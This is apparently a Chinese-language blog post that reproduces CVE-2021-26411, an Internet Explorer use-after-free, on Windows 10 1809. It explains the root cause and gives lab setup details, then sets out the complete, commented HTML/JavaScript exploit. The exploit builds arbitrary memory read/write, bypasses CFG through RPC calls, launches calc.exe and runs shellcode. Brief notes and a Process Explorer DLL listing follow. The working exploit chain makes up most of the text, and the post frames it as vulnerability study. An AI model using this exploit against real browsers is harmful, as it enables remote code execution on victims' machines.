windows 10下复现CVE-2021-26411漏洞和检测分析

CVE-2021-26411复现,学习JavaScript之POC源码分析

概述

CVE-2021-26411,该漏洞的原因:removeAttributeNode()触发属性对象nodeValue的valueOf回调,回调期间手动调用clearAttributes(),导致nodeValue保存的BSTR被提前释放。回调返回后,没有检查nodeValue是否存在继续使用该对象,最终导致UAF(Use After Free)

参考分析链接

国内链接

CVE-2021-26411在野样本中利用RPC绕过CFG缓解技术的研究 (qq.com)

IE浏览器在野0Day CVE-2021-26411漏洞分析 (qq.com)

原作者链接

https://enki.co.kr/blog/2021/02/04/ie_0day.html

平台环境

Win10 1809 17763  ==》 下载地址:https://hellowindows.cn/

商业-批量版 64位 2019-09-17 发布

Windows 10 (business editions), version 1809 (updated Sept 2019) (x64) - DVD (Chinese-Simplified)

ED2K


文件:cn_windows_10_business_editions_version_1809_updated_sept_2019_x64_dvd_f873d037.iso  我是下载的这个版本复现
大小:5.07GB
SHA1:975f1b3acbeece56b5ad1526345a0657109f4043

 

VmWare 16.1.1 build-17801498

复现效果展示

 

POC源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
<!-- IE Double Free 1Day Poc -->
<!doctype html>
<html lang="zh-cmn-Hans">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
 
// 重复字符串
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }
 
function pad0(str) {
    // 提取倒数第四个字符开始的字符串,效果就是补0
    return ('0000' + str).slice(-4)
}
 
// Access of Resource Using Incompatible Type ('Type Confusion')
function alloc1() {
    // DataView 视图是一个可以从 二进制ArrayBuffer 对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    // 创建并返回一个新的属性节点
    var result = document.createAttribute('alloc')
    // 对escape()编码的字符串进行解码
    result.nodeValue = unescape(str)
    return result
}
 
function alloc2() {
    // 创建字典对象
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    // 增加新项,dic.add(key,value)
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, arr)
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}
 
function dump(nv) {
    // ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。
    // 创建一个0x20010字节的缓冲区,并使用一个 DataView 来引用它
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}
 
// 在原型对象上定义属性
function Data(type, value) {
    this.type = type
    this.value = value
}
 
function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}
 
function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    // 返回调用该方法的节点的一个副本.
    hd2 = hd1.cloneNode()
}
 
// 小端序读取
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            // getUint16(byteOffset [, littleEndian])
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}
 
function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}
 
function writeData(addr, data) {
    for (var i = 0; i < data.length; ++i)
        write(addr + i, data[i], 8)
}
 
function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}
 
function strcmp(str1, str2) {
    // typeof 操作符返回一个字符串,表示未经计算的操作数的类型。
    str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
    str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
    return str1.toLowerCase() == str2.toLowerCase()
}
 
function memcpy(dst, src, size) {
    for (var i = 0; i < size; ++i)
        write(dst + i, read(src + i, 8), 8)
}
 
function toStr(addr) {
    var str = ''
    while (true) {
        var c = read(addr, 8)
        // 遇到终结符就退出循环
        if (c == 0) break
        // 返回由指定的 UTF-16 代码单元序列创建的字符串
        str += String.fromCharCode(c)
        addr++
    }
    return str
}
 
function newStr(str) {
    var buffer = createArrayBuffer(str.length + 1)
    for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
    // 写入字符串终结符
    write(buffer + i, 0, 8)
    return buffer
}
// PE文件相关操作函数
function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}
 
function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}
 
function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}
 
function isPE(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}
 
function winVer() {
    // 返回浏览器的平台和版本信息
    var appVersion = window.navigator.appVersion
    var ver = 0
    // 检测一个字符串是否匹配某个模式,javaScript正则表达式
    if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
        ver = 100
    } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
        ver = 81
    } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
        ver = 80
    } else {
        ver = 70
    }
    return ver
}
 
function createArrayBuffer(size) {
    var ab = new ArrayBuffer(size)
    var bs = read(addrOf(ab) + 0x1c, 32)
    // 设置键值对
    map.set(bs, ab)
    return bs
}
 
function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}
 
function readyRpcCall(func) {
    var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
    var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
    var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
    write(RPC_DISPATCH_TABLE_Buffer, func, 32)
}
 
function setArgs(args) {
    var buffer = createArrayBuffer(48)
    for (var i = 0; i < args.length; ++i) {
        write(buffer + i * 4, args[i], 32)
    }
    _RPC_MESSAGE.set(msg, 'Buffer', buffer)
    _RPC_MESSAGE.set(msg, 'BufferLength', 48)
    _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
    return buffer
}
 
function callRpcFreeBufferImpl() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
    return call(rpcFree)
}
 
function callRpcFreeBuffer() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    var result = read(buffer, 32)
    callRpcFreeBufferImpl()
    return result
}
 
function call2(func, args) {
    readyRpcCall(func)
    var buffer = setArgs(args)
    call(msg)
    map.delete(buffer)
    return callRpcFreeBuffer()
}
 
function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    // 错误处理
    try {
        // rpcrt4!NdrServerCall2
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}
 
function prepareCall(addr, func) {
    var buf = createArrayBuffer(cattr.size())
    var vft = read(patt, 32)
    memcpy(addr, patt, cbase.size())
    memcpy(buf, vft, cattr.size())
    cbase.set(addr, 'pvftable', buf)
    cattr.set(buf, 'normalize', func)
}
 
function createBase() {
    var isWin7 = winVer() == 70
    var size = isWin7 ? 560 : 572
    var offset = isWin7 ? 540 : 548
    var addr1 = createArrayBuffer(size + cbase.size())
    var addr2 = createArrayBuffer(48)
    write(addr1 + offset, addr2, 32)
    write(addr2 + 40, 8, 32)
    write(addr2 + 36, 8, 32)
    return {
        size: size,
        addr: addr1
    }
}
 
function aos() {
    var baseObj = createBase()
    var addr = baseObj.addr + baseObj.size
    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
    prepareCall(addr, I_RpcTransServerNewConnection)
    return read(read(call(addr)-0xf8, 32), 32)
}
 
// 自定义结构体的操作
function SymTab(size, sym) {
    this.size = function() {
        return size
    }
    this.set = function(addr, name, value) {
        var o = sym[name]
        write(addr + o.offset, value, o.size)
    }
    this.get = function(addr, name) {
        var o = sym[name]
        return read(addr + o.offset, o.size)
    }
}
 
// 构造RPC
function initRpc() {
    var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
    var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
    var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
    var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
    var RPCMessageObject = createArrayBuffer(cbase.size())
    var buffer = createArrayBuffer(0x100)
    var buffer2 = createArrayBuffer(0x200)
    var AttributeVtable = read(patt, 32)
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
    var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
    var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
    var rpcProcStringBuffer = createArrayBuffer(data.length)
    writeData(rpcProcStringBuffer, data)
    var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
    var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
    var NdrServerCall2Buffer = createArrayBuffer(4)
    write(NdrServerCall2Buffer, NdrServerCall2, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 0x40, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
    cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
    write(RPCMessageObject + 76, 1, 32)
    syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
    _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
    return RPCMessageObject
}
 
function rpcFree() {
    var Cbase = createArrayBuffer(cbase.size())
    var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var AttributeVtable = read(patt, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 64, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
    cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
    cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
    write(Cbase + 76, 1, 32)
    return Cbase
}
 
function CFGObject(baseAddress) {
    var PEAddr = isPE(baseAddress)
    var eat = PEAddr + 120
    var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
    var size = read(LOAD_CONFIG_DIRECTORY, 32)
    var sizeOfImage = read(PEAddr + 0x50, 32)
    var CFGSymbolTable = new SymTab(0x5c, {
        '___guard_check_icall_fptr': {
            offset: 72,
            size: 32
        }
    })
 
    var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
    this.getCFGAddress = function() {
        return guard_check_icall_fptr_address
    }
    this.getCFGValue = function() {
        if (size < CFGSymbolTable.size()) return false
        var currentCFGValue = read(guard_check_icall_fptr_address, 32)
        var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
        return !isValidAddress;
    }
}
 
function killCfg(addr) {
    var cfgobj = new CFGObject(addr)
    if (!cfgobj.getCFGValue()) return
    var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
    var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
    var tmpBuffer = createArrayBuffer(4)
    // 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
    // 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
    // 关闭rpcrt4的CFG检查
    write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
    // 恢复PRCRT4!__gurad_check_icall_fptr内存属性
    call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
    map.delete(tmpBuffer)
}
 
// {} 表示对象
// 属性:属性值
var cbase = new SymTab(0x60, {
    'pvftable': {
        offset: 0x0,
        size: 32
    },
    'pSecurityContext': {
        offset: 0x44,
        size: 32
    }
})
 
var cattr = new SymTab(0x32c, {
    '__vtguard': {
        offset: 0x48,
        size: 32
    },
    'SecurityContext': {
        offset: 0xc8,
        size: 32
    },
    'JSBind_TypeId': {
        offset: 0x160,
        size: 32
    },
    'JSBind_InstanceOf': {
        offset: 0x164,
        size: 32
    },
    'normalize': {
        offset: 0x28c,
        size: 32
    }
})
 
var syntaxObject = new SymTab(0x14, {
    'SyntaxVersion.MajorVersion': {
        offset: 0x10,
        size: 16
    }
})
 
var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
    'Length': {
        offset: 0,
        size: 32
    },
    'InterfaceId.SyntaxVersion.MajorVersion': {
        offset: 20,
        size: 16
    },
    'TransferSyntax.SyntaxVersion.MajorVersion': {
        offset: 40,
        size: 16
    },
    // 保存了runtime库和Stub函数的接口指针
    'DispatchTable': {
        offset: 44,
        size: 32
    },
    // 指向MIDL_SERVER_INFO结构
    'InterpreterInfo': {
        offset: 60,
        size: 32
    },
    'Flags': {
        offset: 64,
        size: 32
    }
})
 
// 保存了服务端IDL接口信息
var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
    'pStubDesc': {
        offset: 0,
        size: 32
    },
    // 保存了服务端提供的远程调用例程的函数指针数组
    'DispatchTable': {
        offset: 4,
        size: 32
    },
    'ProcString': {
        offset: 8,
        size: 32
    },
    'FmtStringOffset': {
        offset: 12,
        size: 32
    }
})
 
var _MIDL_STUB_DESC = new SymTab(0x50, {
    'RpcInterfaceInformation': {
        offset: 0,
        size: 32
    },
    'pfnAllocate': {
        offset: 4,
        size: 32
    },
    'pfnFree': {
        offset: 8,
        size: 32
    },
    'pFormatTypes': {
        offset: 32,
        size: 32
    },
    'fCheckBounds': {
        offset: 36,
        size: 32
    },
    'Version': {
        offset: 40,
        size: 32
    },
    'MIDLVersion': {
        offset: 48,
        size: 32
    },
    'mFlags': {
        offset: 64,
        size: 32
    }
})
 
var RPC_DISPATCH_TABLE = new SymTab(12, {
    'DispatchTableCount': {
        offset: 0,
        size: 32
    },
    'DispatchTable': {
        offset: 4,
        size: 32
    },
})
 
var _RPC_MESSAGE = new SymTab(0x2c, {
    'Handle': {
        offset: 0,
        size: 32
    },
    'DataRepresentation': {
        offset: 4,
        size: 32
    },
    // 存放函数的参数
    'Buffer': {
        offset: 8,
        size: 32
    },
    'BufferLength': {
        offset: 12,
        size: 32
    },
    'TransferSyntax': {
        offset: 20,
        size: 32
    },
    // 指向RPC_SERVER_INTERFACE
    'RpcInterfaceInformation': {
        offset: 24,
        size: 32
    },
    'RpcFlags': {
        offset: 40,
        size: 32
    }
})
 
var god
// 对象数组
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
// 创建一个HTML 属性对象
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
// 创建一个HTML 元素对象
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        // 回调时,清除ele对象绑定的所有属性
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
// 触发valueof函数回调
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)
 
var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()
killCfg(rpcrt4)
 
// 调用API,弹出计算器
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])
 
// 调用shellcode
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
// 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
alert(result.toString(16))
 
</script>
</body>
</html>

 

注意细节:我是本地保存html,然后打开复现的,

C:\Users\bonelee\Desktop\1809.html

 

 

如果是放在服务器下运行然后访问,则不会弹出计算器。但是会有弹窗,如下:

 

我们使用proc exp采集下数据:

可以看到ie并没有calc的自进程!从其加载的dll里,可以看到有mshtml.dll!

 

 可以看到是svchost出来的。

 

 我们重点看下ie加载的dll清单:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
Process: iexplore.exe Pid: 2280
 
Name    Description Company Name    Path
{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db           C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000001.db
{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db           C:\Users\bonelee\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db
{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db           C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db
advapi32.dll    Advanced Windows 32 Base API    Microsoft Corporation   C:\Windows\SysWOW64\advapi32.dll
apphelp.dll 应用程序兼容性客户端库 Microsoft Corporation   C:\Windows\SysWOW64\apphelp.dll
bcrypt.dll  Windows Cryptographic Primitives Library (Wow64)    Microsoft Corporation   C:\Windows\SysWOW64\bcrypt.dll
bcryptprimitives.dll    Windows Cryptographic Primitives Library    Microsoft Corporation   C:\Windows\SysWOW64\bcryptprimitives.dll
C_1252.NLS          C:\Windows\System32\C_1252.NLS
cfgmgr32.dll    Configuration Manager DLL   Microsoft Corporation   C:\Windows\SysWOW64\cfgmgr32.dll
clbcatq.dll COM+ Configuration Catalog  Microsoft Corporation   C:\Windows\SysWOW64\clbcatq.dll
combase.dll Microsoft COM for Windows   Microsoft Corporation   C:\Windows\SysWOW64\combase.dll
comctl32.dll    用户体验控件库 Microsoft Corporation   C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.737_none_588eeadb78ace734\comctl32.dll
comctl32.dll    用户体验控件库 Microsoft Corporation   C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.17763.737_none_4d637a531b9a7e51\comctl32.dll
